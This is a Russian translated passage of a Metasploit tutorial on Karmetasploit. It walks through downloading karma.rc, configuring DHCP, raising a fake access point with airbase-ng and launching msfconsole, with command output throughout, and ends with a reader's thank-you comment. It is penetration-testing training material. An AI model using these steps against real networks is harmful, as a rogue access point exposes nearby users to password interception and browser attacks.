Karmetasploit.
Karmetasploit еще одно средство, расширяющее функционал Metasploit, позволяющее создавать «фейковые» точки доступа, перехватывать пароли, производить сбор данных, а так-же осуществлять атаки использующие уязвимости в браузерах клиентов.
Конфигурация Karmetasploit.
Перед тем как приступить к настройке, необходимо скачать Karmetasploit. Скачиваем файл управляющий запуском Karmetasploit.
root@bt4:/pentest/exploits/framework3# wget "http://metasploit.com/users/hdm/tools/karma.rc" --2009-05-04 18:43:26-- http://metasploit.com/users/hdm/tools/karma.rc Resolving metasploit.com... 66.240.213.81 Connecting to metasploit.com|66.240.213.81|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1088 (1.1K) [text/plain] Saving to: `karma.rc' 100%[============================================================================>] 1,088 --.-K/s in 0s 2009-05-04 18:43:27 (88.7 MB/s) - `karma.rc' saved [1088/1088]
Осмыслив поставленную задачу, мы должны позаботиться об развертывании всей необходимой инфраструктуры. Когда клиенты подключаются к «фейковой»точкедоступа, им должен быть присвоен IP адрес. Таким образом, разворачиваем на месте DHCP сервер, конфигурация «dhcpd.conf» должна быть примерно следующей.
root@bt4:/pentest/exploits/framework3# cat /etc/dhcp3/dhcpd.conf option domain-name-servers 10.0.0.1; default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1; }
Устанавливаем зависимости.
root@bt4:~# gem install activerecord sqlite3-ruby Successfully installed activerecord-2.3.2 Building native extensions. This could take a while... Successfully installed sqlite3-ruby-1.2.4 2 gems installed Installing ri documentation for activerecord-2.3.2... Installing ri documentation for sqlite3-ruby-1.2.4... Installing RDoc documentation for activerecord-2.3.2... Installing RDoc documentation for sqlite3-ruby-1.2.4...
Теперь все готово. Во-первых запустим беспроводной адаптер в режиме мониторинга. Чтобы это осуществить, мы сначала остановим интерфейс, а затем используя airmon-ng перезапустим его в режиме мониторинга. Далее, используя airbase-ng, запустим новую сеть.
root@bt4:~# airmon-ng Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) root@bt4:~# airmon-ng stop ath0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed) root@bt4:~# airmon-ng start wifi0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 5636 NetworkManager 5641 wpa_supplicant 5748 dhclient3 Interface Chipset Driver wifi0 Atheros madwifi-ngError for wireless request "Set Frequency" (8B04) : SET failed on device ath0 ; No such device. ath0: ERROR while getting interface flags: No such device ath1 Atheros madwifi-ng VAP (parent: wifi0) root@bt4:~# airbase-ng -P -C 30 -e "U R PWND" -v ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc 22:52:25 Created tap interface at0 22:52:25 Trying to set MTU on at0 to 1500 22:52:25 Trying to set MTU on ath1 to 1800 22:52:25 Access Point with BSSID 00:1A:4D:49:0B:26 started.
Airbase-ng создал новый интерфейс — at0. Его мы и будем использовать. Назначим новому интерфейсу IP адрес и запустим DHCP сервер на работу с этим интерфейсом.
root@bt4:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 root@bt4:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 Internet Systems Consortium DHCP Server V3.1.1 Copyright 2004-2008 Internet Systems Consortium. All rights reserved. For info, please visit http://www.isc.org/sw/dhcp/ Wrote 0 leases to leases file. Listening on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24 Sending on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24 Sending on Socket/fallback/fallback-net Can't create PID file /var/run/dhcpd.pid: Permission denied. root@bt4:~# ps aux | grep dhcpd dhcpd 6490 0.0 0.1 3812 1840 ? Ss 22:55 0:00 dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 root 6493 0.0 0.0 3232 788 pts/0 S+ 22:55 0:00 grep dhcpd
Karmetasploit в действии.
Теперь, когда все готово, все что осталось, это запустить Karmetasploit! До старта Metasploit, запускаем наш, не давно скаченный, управляющий файл.
root@bt4:~# cd /pentest/exploits/framework3/ root@bt4:/pentest/exploits/framework3# ./msfconsole -r karma.rc _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / _|/ _|/ / _| | | | |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/ /| | =[ metasploit v3.3-rc1 [core:3.3 api:1.0] + -- --=[ 372 exploits - 234 payloads + -- --=[ 20 encoders - 7 nops =[ 149 aux resource> load db_sqlite3 [-] [-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-] [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] Creating a new database instance... [*] Successfully connected to the database
Великолепный перевод! Большое спасибо! С нетерпением жду продолжения!
С уважением, Chekopay!